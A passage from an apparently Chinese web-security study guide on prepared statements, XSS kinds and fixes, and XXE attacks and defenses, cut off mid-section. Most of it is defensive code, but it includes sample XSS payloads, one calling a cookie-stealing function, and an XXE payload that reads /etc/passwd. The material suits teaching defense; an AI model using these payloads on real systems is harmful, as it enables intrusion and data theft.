\u540e\u7eed\u6267\u884c&#xff08;\u4f7f\u7528\u7f13\u5b58&#xff09; SET &#064;id &#061; 2; EXECUTE stmt USING &#064;id; &#8212; \u590d\u7528\u6267\u884c\u8ba1\u5212 <\/p>\n<p>\u7c7b\u578b\u5b89\u5168&#xff1a;<\/p>\n<p>Java<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ Java&#xff1a;\u7c7b\u578b\u68c0\u67e5\u5728\u7f16\u8bd1\u65f6 stmt.setInt(1, id); \/\/ \u5fc5\u987b\u662f\u6574\u6570 stmt.setString(2, name); \/\/ \u5fc5\u987b\u662f\u5b57\u7b26\u4e32 \/\/ \u6570\u636e\u5e93\u4f1a\u8fdb\u884c\u7c7b\u578b\u8f6c\u6362\u6216\u62a5\u9519 <\/p>\n<h4 id=\"4.%20%E4%B8%8D%E5%90%8C%E8%AF%AD%E8%A8%80%E7%9A%84%E5%AE%9E%E7%8E%B0%EF%BC%9A\">4. \u4e0d\u540c\u8bed\u8a00\u7684\u5b9e\u73b0&#xff1a;<\/h4>\n<p>Java&#xff08;JDBC&#xff09;&#xff1a;<\/p>\n<p>Java<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ \u6b63\u786e\u4f7f\u7528 String sql &#061; &#034;INSERT INTO users (name, age) VALUES (?, ?)&#034;; PreparedStatement pstmt &#061; conn.prepareStatement(sql); pstmt.setString(1, name); pstmt.setInt(2, age); \/\/ \u9519\u8bef\u4f7f\u7528&#xff08;\u4ecd\u6709\u98ce\u9669&#xff09; String sql &#061; &#034;INSERT INTO users (name, age) VALUES (&#039;&#034; &#043; name &#043; &#034;&#039;, &#034; &#043; age &#043; &#034;)&#034;; \/\/ \u8fd9\u662f\u62fc\u63a5&#xff0c;\u4e0d\u662f\u9884\u7f16\u8bd1&#xff01;<\/p>\n<p>Python&#xff08;pymysql&#xff09;&#xff1a;<\/p>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p># \u6b63\u786e\u4f7f\u7528 cursor.execute(&#034;SELECT * FROM users WHERE name &#061; %s&#034;, (name,)) # \u6ce8\u610f&#xff1a;%s\u662f\u5360\u4f4d\u7b26&#xff0c;\u4e0d\u662f\u5b57\u7b26\u4e32\u683c\u5f0f\u5316 # \u9519\u8bef\u4f7f\u7528 cursor.execute(&#034;SELECT * FROM users WHERE name &#061; &#039;%s&#039;&#034; % name)<\/p>\n<p>PHP&#xff08;PDO&#xff09;&#xff1a;<\/p>\n<p>Php<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ \u6b63\u786e\u4f7f\u7528 $stmt &#061; $pdo-&gt;prepare(&#034;SELECT * FROM users WHERE name &#061; :name&#034;); $stmt-&gt;execute([&#039;:name&#039; &#061;&gt; $name]); \/\/ \u9519\u8bef\u4f7f\u7528 $stmt &#061; $pdo-&gt;prepare(&#034;SELECT * FROM users WHERE name &#061; &#039;$name&#039;&#034;); \/\/ \u4ecd\u7136\u662f\u62fc\u63a5&#xff01;<\/p>\n<h4 id=\"5.%20%E9%A2%84%E7%BC%96%E8%AF%91%E7%9A%84%E5%B1%80%E9%99%90%E6%80%A7%EF%BC%9A\">5. \u9884\u7f16\u8bd1\u7684\u5c40\u9650\u6027&#xff1a;<\/h4>\n<table>\n<tr>\u573a\u666f\u95ee\u9898\u89e3\u51b3\u65b9\u6848<\/tr>\n<tbody>\n<tr>\n<td>\u8868\u540d\/\u5217\u540d\u52a8\u6001<\/td>\n<td>\u5360\u4f4d\u7b26\u4e0d\u80fd\u7528\u4e8e\u8868\u540d<\/td>\n<td>\u767d\u540d\u5355\u6821\u9a8c<\/td>\n<\/tr>\n<tr>\n<td>IN\u5b50\u53e5\u52a8\u6001\u53c2\u6570<\/td>\n<td>\u5360\u4f4d\u7b26\u6570\u91cf\u9700\u56fa\u5b9a<\/td>\n<td>\u6784\u5efa\u52a8\u6001\u5360\u4f4d\u7b26<\/td>\n<\/tr>\n<tr>\n<td>ORDER BY\u52a8\u6001<\/td>\n<td>\u4e0d\u80fd\u53c2\u6570\u5316\u6392\u5e8f\u5b57\u6bb5<\/td>\n<td>\u767d\u540d\u5355\u6821\u9a8c<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"6.%20%E4%B8%8D%E6%98%AF%E9%A2%84%E7%BC%96%E8%AF%91%E7%9A%84%E6%83%85%E5%86%B5%EF%BC%9A\">6. \u4e0d\u662f\u9884\u7f16\u8bd1\u7684\u60c5\u51b5&#xff1a;<\/h4>\n<ul>\n<li>\u5b57\u7b26\u4e32\u62fc\u63a5\u518dprepare<\/li>\n<li>\u67d0\u4e9bORM\u7684&#034;\u539f\u751f\u67e5\u8be2&#034;\u529f\u80fd<\/li>\n<li>\u5b58\u50a8\u8fc7\u7a0b\u4e2d\u7684\u52a8\u6001SQL<\/li>\n<\/ul>\n<h3 id=\"879.%20XSS%E5%8E%9F%E7%90%86\">879. XSS\u539f\u7406<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%EF%BC%9A\">1. \u57fa\u672c\u6982\u5ff5&#xff1a;<\/h4>\n<p>XSS&#xff08;Cross-Site Scripting&#xff09;\u5141\u8bb8\u653b\u51fb\u8005\u5c06\u6076\u610f\u811a\u672c\u6ce8\u5165\u5230\u5176\u4ed6\u7528\u6237\u6d4f\u89c8\u7684\u7f51\u9875\u4e2d\u3002\u5f53\u53d7\u5bb3\u8005\u8bbf\u95ee\u5305\u542b\u6076\u610f\u811a\u672c\u7684\u9875\u9762\u65f6&#xff0c;\u811a\u672c\u4f1a\u5728\u5176\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\u3002<\/p>\n<h4 id=\"2.%20%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86%E5%9B%BE%EF%BC%9A\">2. \u653b\u51fb\u539f\u7406\u56fe&#xff1a;<\/h4>\n<p> \u653b\u51fb\u8005\u6784\u9020\u6076\u610f\u8f93\u5165 \u2192 \u5e94\u7528\u672a\u8fc7\u6ee4\u5b58\u50a8\/\u53cd\u5c04 \u2192 \u53d7\u5bb3\u8005\u8bbf\u95ee\u9875\u9762 \u2192 \u6d4f\u89c8\u5668\u6267\u884c\u6076\u610f\u811a\u672c \u2192 \u7a83\u53d6\u4fe1\u606f\/\u52ab\u6301\u4f1a\u8bdd <\/p>\n<h4 id=\"3.%20%E5%8D%B1%E5%AE%B3%EF%BC%9A\">3. \u5371\u5bb3&#xff1a;<\/h4>\n<ul>\n<li>\u7a83\u53d6Cookie\u3001Session<\/li>\n<li>\u952e\u76d8\u8bb0\u5f55<\/li>\n<li>\u9493\u9c7c\u653b\u51fb<\/li>\n<li>\u5185\u7f51\u63a2\u6d4b<\/li>\n<li>\u7ed3\u5408CSRF\u653b\u51fb<\/li>\n<li>\u8815\u866b\u4f20\u64ad<\/li>\n<\/ul>\n<h4 id=\"4.%20%E6%94%BB%E5%87%BB%E7%A4%BA%E4%BE%8B%EF%BC%9A\">4. \u653b\u51fb\u793a\u4f8b&#xff1a;<\/h4>\n<p>Html<\/p>\n<p>\u590d\u5236<\/p>\n<p>&lt;!&#8211; \u53cd\u5c04\u578bXSS &#8211;&gt; http:\/\/victim.com\/search?q&#061;&lt;script&gt;alert(1)&lt;\/script&gt; &lt;!&#8211; \u5b58\u50a8\u578bXSS &#8211;&gt; \u8bc4\u8bba\u5185\u5bb9&#xff1a;&lt;img src&#061;x onerror&#061;stealCookie()&gt; &lt;!&#8211; DOM\u578bXSS &#8211;&gt; location.hash\u88abeval\u6267\u884c <\/p>\n<h3 id=\"880.%20XSS%E7%A7%8D%E7%B1%BB\">880. XSS\u79cd\u7c7b<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E5%8F%8D%E5%B0%84%E5%9E%8BXSS%EF%BC%88Reflected%20XSS%EF%BC%89\">1. \u53cd\u5c04\u578bXSS&#xff08;Reflected XSS&#xff09;<\/h4>\n<p>\u7279\u70b9&#xff1a;<\/p>\n<ul>\n<li>\u6076\u610f\u811a\u672c\u6765\u81ea\u5f53\u524dHTTP\u8bf7\u6c42<\/li>\n<li>\u975e\u6301\u4e45\u5316&#xff0c;\u9700\u8981\u8bf1\u9a97\u7528\u6237\u70b9\u51fb<\/li>\n<li>\u901a\u5e38\u51fa\u73b0\u5728\u641c\u7d22\u3001\u9519\u8bef\u9875\u9762<\/li>\n<\/ul>\n<p>\u653b\u51fb\u6d41\u7a0b&#xff1a;<\/p>\n<li>\u653b\u51fb\u8005\u6784\u9020\u6076\u610fURL<\/li>\n<li>\u8bf1\u9a97\u7528\u6237\u70b9\u51fb<\/li>\n<li>\u670d\u52a1\u5668\u8fd4\u56de\u5305\u542b\u6076\u610f\u811a\u672c\u7684\u9875\u9762<\/li>\n<li>\u7528\u6237\u6d4f\u89c8\u5668\u6267\u884c\u811a\u672c<\/li>\n<h4 id=\"2.%20%E5%AD%98%E5%82%A8%E5%9E%8BXSS%EF%BC%88Stored%20XSS%EF%BC%89\">2. \u5b58\u50a8\u578bXSS&#xff08;Stored XSS&#xff09;<\/h4>\n<p>\u7279\u70b9&#xff1a;<\/p>\n<ul>\n<li>\u6076\u610f\u811a\u672c\u5b58\u50a8\u5728\u670d\u52a1\u5668&#xff08;\u6570\u636e\u5e93&#xff09;<\/li>\n<li>\u6301\u4e45\u5316&#xff0c;\u6240\u6709\u8bbf\u95ee\u8005\u90fd\u53ef\u80fd\u53d7\u5f71\u54cd<\/li>\n<li>\u5e38\u89c1\u4e8e\u8bba\u575b\u3001\u8bc4\u8bba\u3001\u7559\u8a00\u677f<\/li>\n<\/ul>\n<p>\u653b\u51fb\u6d41\u7a0b&#xff1a;<\/p>\n<li>\u653b\u51fb\u8005\u63d0\u4ea4\u6076\u610f\u5185\u5bb9<\/li>\n<li>\u670d\u52a1\u5668\u5b58\u50a8\u5230\u6570\u636e\u5e93<\/li>\n<li>\u5176\u4ed6\u7528\u6237\u8bbf\u95ee\u9875\u9762<\/li>\n<li>\u670d\u52a1\u5668\u8fd4\u56de\u5305\u542b\u6076\u610f\u811a\u672c\u7684\u9875\u9762<\/li>\n<li>\u7528\u6237\u6d4f\u89c8\u5668\u6267\u884c\u811a\u672c<\/li>\n<h4 id=\"3.%20DOM%E5%9E%8BXSS%EF%BC%88DOM-based%20XSS%EF%BC%89\">3. DOM\u578bXSS&#xff08;DOM-based XSS&#xff09;<\/h4>\n<p>\u7279\u70b9&#xff1a;<\/p>\n<ul>\n<li>\u4e0d\u7ecf\u8fc7\u670d\u52a1\u5668&#xff0c;\u7eaf\u5ba2\u6237\u7aef\u6f0f\u6d1e<\/li>\n<li>\u6076\u610f\u811a\u672c\u901a\u8fc7\u4fee\u6539DOM\u6267\u884c<\/li>\n<li>\u96be\u4ee5\u68c0\u6d4b&#xff08;\u670d\u52a1\u5668\u65e5\u5fd7\u65e0\u8bb0\u5f55&#xff09;<\/li>\n<\/ul>\n<p>\u653b\u51fb\u6d41\u7a0b&#xff1a;<\/p>\n<li>\u653b\u51fb\u8005\u6784\u9020\u6076\u610fURL&#xff08;\u542b\u7247\u6bb5\u6807\u8bc6\u7b26&#xff09;<\/li>\n<li>\u8bf1\u9a97\u7528\u6237\u70b9\u51fb<\/li>\n<li>\u5ba2\u6237\u7aefJavaScript\u5904\u7406URL<\/li>\n<li>\u4fee\u6539DOM&#xff0c;\u6267\u884c\u6076\u610f\u811a\u672c<\/li>\n<h4 id=\"4.%20%E5%85%B6%E4%BB%96%E5%88%86%E7%B1%BB%EF%BC%9A\">4. \u5176\u4ed6\u5206\u7c7b&#xff1a;<\/h4>\n<p>\u57fa\u4e8e\u6ce8\u5165\u4f4d\u7f6e&#xff1a;<\/p>\n<ul>\n<li>HTML\u5185\u5bb9&#xff1a;&lt;div&gt;\u7528\u6237\u8f93\u5165&lt;\/div&gt;<\/li>\n<li>HTML\u5c5e\u6027&#xff1a;&lt;input value&#061;&#034;\u7528\u6237\u8f93\u5165&#034;&gt;<\/li>\n<li>JavaScript\u4ee3\u7801&#xff1a;&lt;script&gt;var x &#061; &#034;\u7528\u6237\u8f93\u5165&#034;;&lt;\/script&gt;<\/li>\n<li>CSS\u6837\u5f0f&#xff1a;&lt;style&gt;body { background: url(\u7528\u6237\u8f93\u5165); }&lt;\/style&gt;<\/li>\n<li>URL\u53c2\u6570&#xff1a;&lt;a href&#061;&#034;\u7528\u6237\u8f93\u5165&#034;&gt;\u94fe\u63a5&lt;\/a&gt;<\/li>\n<\/ul>\n<p>\u57fa\u4e8e\u6301\u4e45\u6027&#xff1a;<\/p>\n<ul>\n<li>\u6301\u4e45\u578b&#xff08;\u5b58\u50a8\u578b&#xff09;<\/li>\n<li>\u975e\u6301\u4e45\u578b&#xff08;\u53cd\u5c04\u578b\u3001DOM\u578b&#xff09;<\/li>\n<\/ul>\n<h3 id=\"881.%20XSS%E5%8C%BA%E5%88%AB\">881. XSS\u533a\u522b<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"%E5%AF%B9%E6%AF%94%E8%A1%A8%E6%A0%BC%EF%BC%9A\">\u5bf9\u6bd4\u8868\u683c&#xff1a;<\/h4>\n<table>\n<tr>\u7279\u5f81\u53cd\u5c04\u578bXSS\u5b58\u50a8\u578bXSSDOM\u578bXSS<\/tr>\n<tbody>\n<tr>\n<td>\u6301\u4e45\u6027<\/td>\n<td>\u975e\u6301\u4e45<\/td>\n<td>\u6301\u4e45<\/td>\n<td>\u975e\u6301\u4e45<\/td>\n<\/tr>\n<tr>\n<td>\u89e6\u53d1\u65b9\u5f0f<\/td>\n<td>\u7528\u6237\u70b9\u51fb\u6076\u610f\u94fe\u63a5<\/td>\n<td>\u8bbf\u95ee\u6b63\u5e38\u9875\u9762<\/td>\n<td>\u7528\u6237\u70b9\u51fb\u6076\u610f\u94fe\u63a5<\/td>\n<\/tr>\n<tr>\n<td>\u6570\u636e\u5b58\u50a8<\/td>\n<td>\u4e0d\u5b58\u50a8<\/td>\n<td>\u5b58\u50a8\u5728\u670d\u52a1\u5668<\/td>\n<td>\u4e0d\u5b58\u50a8<\/td>\n<\/tr>\n<tr>\n<td>\u5f71\u54cd\u8303\u56f4<\/td>\n<td>\u5355\u4e2a\u7528\u6237<\/td>\n<td>\u6240\u6709\u8bbf\u95ee\u7528\u6237<\/td>\n<td>\u5355\u4e2a\u7528\u6237<\/td>\n<\/tr>\n<tr>\n<td>\u68c0\u6d4b\u96be\u5ea6<\/td>\n<td>\u8f83\u6613&#xff08;\u670d\u52a1\u5668\u65e5\u5fd7&#xff09;<\/td>\n<td>\u8f83\u6613&#xff08;\u670d\u52a1\u5668\u65e5\u5fd7&#xff09;<\/td>\n<td>\u56f0\u96be&#xff08;\u5ba2\u6237\u7aef&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>\u4fee\u590d\u96be\u5ea6<\/td>\n<td>\u8f83\u6613<\/td>\n<td>\u8f83\u6613<\/td>\n<td>\u8f83\u96be<\/td>\n<\/tr>\n<tr>\n<td>\u5e38\u89c1\u573a\u666f<\/td>\n<td>\u641c\u7d22\u3001\u9519\u8bef\u9875\u9762<\/td>\n<td>\u8bba\u575b\u3001\u8bc4\u8bba\u3001\u7559\u8a00\u677f<\/td>\n<td>\u5355\u9875\u5e94\u7528\u3001\u5ba2\u6237\u7aef\u8def\u7531<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"%E6%8A%80%E6%9C%AF%E7%BB%86%E8%8A%82%E5%8C%BA%E5%88%AB%EF%BC%9A\">\u6280\u672f\u7ec6\u8282\u533a\u522b&#xff1a;<\/h4>\n<p>1. \u6570\u636e\u6d41\u5dee\u5f02&#xff1a;<\/p>\n<ul>\n<li>\u53cd\u5c04\u578b&#xff1a;\u6d4f\u89c8\u5668 \u2192 \u670d\u52a1\u5668 \u2192 \u6d4f\u89c8\u5668<\/li>\n<li>\u5b58\u50a8\u578b&#xff1a;\u6d4f\u89c8\u5668 \u2192 \u670d\u52a1\u5668 \u2192 \u6570\u636e\u5e93 \u2192 \u670d\u52a1\u5668 \u2192 \u6d4f\u89c8\u5668<\/li>\n<li>DOM\u578b&#xff1a;\u6d4f\u89c8\u5668 \u2192 JavaScript \u2192 DOM \u2192 \u6d4f\u89c8\u5668<\/li>\n<\/ul>\n<p>2. \u5229\u7528\u96be\u5ea6&#xff1a;<\/p>\n<ul>\n<li>\u53cd\u5c04\u578b&#xff1a;\u9700\u8981\u793e\u5de5&#xff0c;URL\u53ef\u80fd\u8fc7\u957f<\/li>\n<li>\u5b58\u50a8\u578b&#xff1a;\u4e00\u6b21\u6ce8\u5165&#xff0c;\u957f\u671f\u6709\u6548<\/li>\n<li>DOM\u578b&#xff1a;\u4f9d\u8d56\u5ba2\u6237\u7aef\u4ee3\u7801&#xff0c;\u53ef\u80fd\u7ed5\u8fc7\u670d\u52a1\u5668\u9632\u62a4<\/li>\n<\/ul>\n<p>3. \u9632\u5fa1\u91cd\u70b9&#xff1a;<\/p>\n<ul>\n<li>\u53cd\u5c04\/\u5b58\u50a8\u578b&#xff1a;\u670d\u52a1\u5668\u7aef\u8f93\u5165\u8f93\u51fa\u8fc7\u6ee4<\/li>\n<li>DOM\u578b&#xff1a;\u5ba2\u6237\u7aefJavaScript\u5b89\u5168\u7f16\u7801<\/li>\n<\/ul>\n<h3 id=\"882.%20XSS%E4%BF%AE%E5%A4%8D\">882. XSS\u4fee\u590d<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E8%BE%93%E5%85%A5%E8%BF%87%E6%BB%A4%EF%BC%88Input%20Validation%EF%BC%89\">1. \u8f93\u5165\u8fc7\u6ee4&#xff08;Input Validation&#xff09;<\/h4>\n<p>\u539f\u5219&#xff1a;\u6839\u636e\u4e0a\u4e0b\u6587\u4f7f\u7528\u4e0d\u540c\u7684\u8fc7\u6ee4\u7b56\u7565<\/p>\n<p>HTML\u5185\u5bb9\u8fc7\u6ee4&#xff1a;<\/p>\n<p>Php<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ PHP&#xff1a;htmlspecialchars&#xff08;\u9ed8\u8ba4\u7f16\u7801\u53cc\u5f15\u53f7&#xff09; $safe_output &#061; htmlspecialchars($user_input, ENT_QUOTES, &#039;UTF-8&#039;); \/\/ \u5c06 &lt; &gt; &amp; &#034; &#039; \u8f6c\u6362\u4e3a\u5b9e\u4f53 <\/p>\n<p>HTML\u5c5e\u6027\u8fc7\u6ee4&#xff1a;<\/p>\n<p>Javascript<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ JavaScript&#xff1a;\u53ea\u5141\u8bb8\u5b89\u5168\u5b57\u7b26 function sanitizeAttribute(value) { return value.replace(\/[^a-zA-Z0-9\\\\-_]\/g, &#039;&#039;); }<\/p>\n<p>URL\u8fc7\u6ee4&#xff1a;<\/p>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p># Python&#xff1a;\u9a8c\u8bc1URL\u683c\u5f0f import urllib.parse def sanitize_url(url): parsed &#061; urllib.parse.urlparse(url) if parsed.scheme not in [&#039;http&#039;, &#039;https&#039;, &#039;&#039;]: raise ValueError(&#039;Invalid scheme&#039;) return url <\/p>\n<h4 id=\"2.%20%E8%BE%93%E5%87%BA%E7%BC%96%E7%A0%81%EF%BC%88Output%20Encoding%EF%BC%89\">2. \u8f93\u51fa\u7f16\u7801&#xff08;Output Encoding&#xff09;<\/h4>\n<p>\u4e0a\u4e0b\u6587\u76f8\u5173\u7f16\u7801&#xff1a;<\/p>\n<table>\n<tr>\u4e0a\u4e0b\u6587\u7f16\u7801\u65b9\u5f0f\u793a\u4f8b<\/tr>\n<tbody>\n<tr>\n<td>HTML\u6587\u672c<\/td>\n<td>HTML\u5b9e\u4f53\u7f16\u7801<\/td>\n<td>&lt;\u00a0\u2192\u00a0&amp;lt;<\/td>\n<\/tr>\n<tr>\n<td>HTML\u5c5e\u6027<\/td>\n<td>HTML\u5b9e\u4f53\u7f16\u7801&#043;\u5f15\u53f7<\/td>\n<td>&#034;\u00a0\u2192\u00a0&amp;quot;<\/td>\n<\/tr>\n<tr>\n<td>JavaScript<\/td>\n<td>Unicode\u8f6c\u4e49<\/td>\n<td>&#034;\u00a0\u2192\u00a0\\\\u0022<\/td>\n<\/tr>\n<tr>\n<td>CSS<\/td>\n<td>\u5341\u516d\u8fdb\u5236\u8f6c\u4e49<\/td>\n<td>&#034;\u00a0\u2192\u00a0\\\\22<\/td>\n<\/tr>\n<tr>\n<td>URL\u53c2\u6570<\/td>\n<td>URL\u7f16\u7801<\/td>\n<td>\u00a0\u2192\u00a0%20<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u6846\u67b6\u81ea\u52a8\u7f16\u7801&#xff1a;<\/p>\n<ul>\n<li>React&#xff1a;\u9ed8\u8ba4\u8f6c\u4e49\u6240\u6709\u53d8\u91cf<\/li>\n<li>Vue&#xff1a;{{ }}\u81ea\u52a8\u8f6c\u4e49&#xff0c;v-html\u9700\u624b\u52a8\u5904\u7406<\/li>\n<li>Angular&#xff1a;\u9ed8\u8ba4\u5b89\u5168<\/li>\n<\/ul>\n<h4 id=\"3.%20%E5%86%85%E5%AE%B9%E5%AE%89%E5%85%A8%E7%AD%96%E7%95%A5%EF%BC%88CSP%EF%BC%89\">3. \u5185\u5bb9\u5b89\u5168\u7b56\u7565&#xff08;CSP&#xff09;<\/h4>\n<p>\u914d\u7f6e\u793a\u4f8b&#xff1a;<\/p>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p>Content-Security-Policy: default-src &#039;self&#039;; script-src &#039;self&#039; https:\/\/trusted.cdn.com; style-src &#039;self&#039; &#039;unsafe-inline&#039;; img-src *; report-uri \/csp-report;<\/p>\n<p>\u6307\u4ee4\u8bf4\u660e&#xff1a;<\/p>\n<ul>\n<li>default-src&#xff1a;\u9ed8\u8ba4\u52a0\u8f7d\u7b56\u7565<\/li>\n<li>script-src&#xff1a;\u63a7\u5236JavaScript\u6267\u884c<\/li>\n<li>style-src&#xff1a;\u63a7\u5236CSS\u52a0\u8f7d<\/li>\n<li>report-uri&#xff1a;\u8fdd\u89c4\u62a5\u544a\u5730\u5740<\/li>\n<\/ul>\n<h4 id=\"4.%20%E5%85%B6%E4%BB%96%E9%98%B2%E6%8A%A4%E6%8E%AA%E6%96%BD%EF%BC%9A\">4. \u5176\u4ed6\u9632\u62a4\u63aa\u65bd&#xff1a;<\/h4>\n<p>HttpOnly Cookie&#xff1a;<\/p>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p>Set-Cookie: sessionid&#061;abc123; HttpOnly; Secure <\/p>\n<ul>\n<li>\u963b\u6b62JavaScript\u8bbf\u95eeCookie<\/li>\n<li>\u51cf\u8f7b\u4f1a\u8bdd\u52ab\u6301\u98ce\u9669<\/li>\n<\/ul>\n<p>X-XSS-Protection&#xff08;\u5df2\u5f03\u7528&#xff0c;\u4f46\u4ecd\u6709\u517c\u5bb9\u6027&#xff09;&#xff1a;<\/p>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p>X-XSS-Protection: 1; mode&#061;block <\/p>\n<p>\u8f93\u5165\u957f\u5ea6\u9650\u5236&#xff1a;<\/p>\n<p>Html<\/p>\n<p>\u590d\u5236<\/p>\n<p>&lt;input maxlength&#061;&#034;100&#034;&gt;<\/p>\n<ul>\n<li>\u589e\u52a0\u653b\u51fb\u96be\u5ea6<\/li>\n<li>\u4e0d\u80fd\u4f5c\u4e3a\u4e3b\u8981\u9632\u5fa1<\/li>\n<\/ul>\n<h4 id=\"5.%20%E5%AE%89%E5%85%A8%E7%BC%96%E7%A0%81%E5%AE%9E%E8%B7%B5%EF%BC%9A\">5. \u5b89\u5168\u7f16\u7801\u5b9e\u8df5&#xff1a;<\/h4>\n<p>\u907f\u514d\u5371\u9669\u51fd\u6570&#xff1a;<\/p>\n<p>Javascript<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ \u5371\u9669 document.write(userInput); element.innerHTML &#061; userInput; eval(userInput); \/\/ \u5b89\u5168 element.textContent &#061; userInput; element.setAttribute(&#039;data-value&#039;, userInput);<\/p>\n<p>\u4f7f\u7528\u5b89\u5168API&#xff1a;<\/p>\n<p>Javascript<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ Vue\u793a\u4f8b &lt;template&gt; &lt;!&#8211; \u5b89\u5168&#xff1a;\u81ea\u52a8\u8f6c\u4e49 &#8211;&gt; &lt;div&gt;{{ userContent }}&lt;\/div&gt; &lt;!&#8211; \u5371\u9669&#xff1a;\u9700\u8981\u624b\u52a8\u5904\u7406 &#8211;&gt; &lt;div v-html&#061;&#034;sanitizedContent&#034;&gt;&lt;\/div&gt; &lt;\/template&gt;<\/p>\n<h4 id=\"6.%20%E6%B5%8B%E8%AF%95%E9%AA%8C%E8%AF%81%EF%BC%9A\">6. \u6d4b\u8bd5\u9a8c\u8bc1&#xff1a;<\/h4>\n<ul>\n<li>\u81ea\u52a8\u5316\u626b\u63cf&#xff1a;Burp Suite, ZAP, Acunetix<\/li>\n<li>\u624b\u52a8\u6d4b\u8bd5&#xff1a;\u5c1d\u8bd5\u5404\u79cdpayload<\/li>\n<li>Code Review&#xff1a;\u68c0\u67e5\u8f93\u5165\u8f93\u51fa\u70b9<\/li>\n<\/ul>\n<h3 id=\"883.%20XXE%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86\">883. XXE\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%EF%BC%9A\">1. \u57fa\u672c\u6982\u5ff5&#xff1a;<\/h4>\n<p>XXE&#xff08;XML External Entity&#xff09;\u653b\u51fb\u5229\u7528XML\u89e3\u6790\u5668\u7684\u5916\u90e8\u5b9e\u4f53\u52a0\u8f7d\u529f\u80fd&#xff0c;\u8bfb\u53d6\u672c\u5730\u6587\u4ef6\u3001\u53d1\u8d77SSRF\u653b\u51fb\u7b49\u3002<\/p>\n<h4 id=\"2.%20XML%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%EF%BC%9A\">2. XML\u57fa\u7840\u77e5\u8bc6&#xff1a;<\/h4>\n<p>Xml<\/p>\n<p>\u590d\u5236<\/p>\n<p>&lt;!&#8211; \u5185\u90e8\u5b9e\u4f53 &#8211;&gt; &lt;!ENTITY entityname &#034;value&#034;&gt; &lt;!&#8211; \u5916\u90e8\u5b9e\u4f53 &#8211;&gt; &lt;!ENTITY entityname SYSTEM &#034;URI&#034;&gt; &lt;!&#8211; \u53c2\u6570\u5b9e\u4f53&#xff08;DTD\u5185\u90e8\u4f7f\u7528&#xff09; &#8211;&gt; &lt;!ENTITY % entityname &#034;value&#034;&gt;<\/p>\n<h4 id=\"3.%20%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86%EF%BC%9A\">3. \u653b\u51fb\u539f\u7406&#xff1a;<\/h4>\n<p> \u7528\u6237\u63d0\u4ea4\u6076\u610fXML \u2192 \u89e3\u6790\u5668\u52a0\u8f7d\u5916\u90e8\u5b9e\u4f53 \u2192 \u8bfb\u53d6\u6587\u4ef6\/\u53d1\u8d77\u8bf7\u6c42 \u2192 \u8fd4\u56de\u654f\u611f\u4fe1\u606f <\/p>\n<h4 id=\"4.%20%E6%94%BB%E5%87%BB%E7%A4%BA%E4%BE%8B%EF%BC%9A\">4. \u653b\u51fb\u793a\u4f8b&#xff1a;<\/h4>\n<p>Xml<\/p>\n<p>\u590d\u5236<\/p>\n<p>&lt;?xml version&#061;&#034;1.0&#034;?&gt; &lt;!DOCTYPE root [ &lt;!ENTITY xxe SYSTEM &#034;file:\/\/\/etc\/passwd&#034;&gt; ]&gt; &lt;root&gt;&amp;xxe;&lt;\/root&gt;<\/p>\n<h3 id=\"884.%20XXE%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D\">884. XXE\u6f0f\u6d1e\u4fee\u590d<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E7%A6%81%E7%94%A8%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93\">1. \u7981\u7528\u5916\u90e8\u5b9e\u4f53<\/h4>\n<p>Java&#xff1a;<\/p>\n<p>Java<\/p>\n<p>\u590d\u5236<\/p>\n<p>DocumentBuilderFactory dbf &#061; DocumentBuilderFactory.newInstance(); dbf.setFeature(&#034;http:\/\/apache.org\/xml\/features\/disallow-doctype-decl&#034;, true); dbf.setFeature(&#034;http:\/\/xml.org\/sax\/features\/external-general-entities&#034;, false); dbf.setFeature(&#034;http:\/\/xml.org\/sax\/features\/external-parameter-entities&#034;, false);<\/p>\n<p>Python&#xff08;lxml&#xff09;&#xff1a;<\/p>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p>from lxml import etree parser &#061; etree.XMLParser(resolve_entities&#061;False, no_network&#061;True) tree &#061; etree.parse(xml_string, parser)<\/p>\n<p>PHP&#xff1a;<\/p>\n<p>Php<\/p>\n<p>\u590d\u5236<\/p>\n<p>libxml_disable_entity_loader(true);<\/p>\n<h4 id=\"2.%20%E4%BD%BF%E7%94%A8%E5%AE%89%E5%85%A8%E8%A7%A3%E6%9E%90%E5%99%A8\">2. 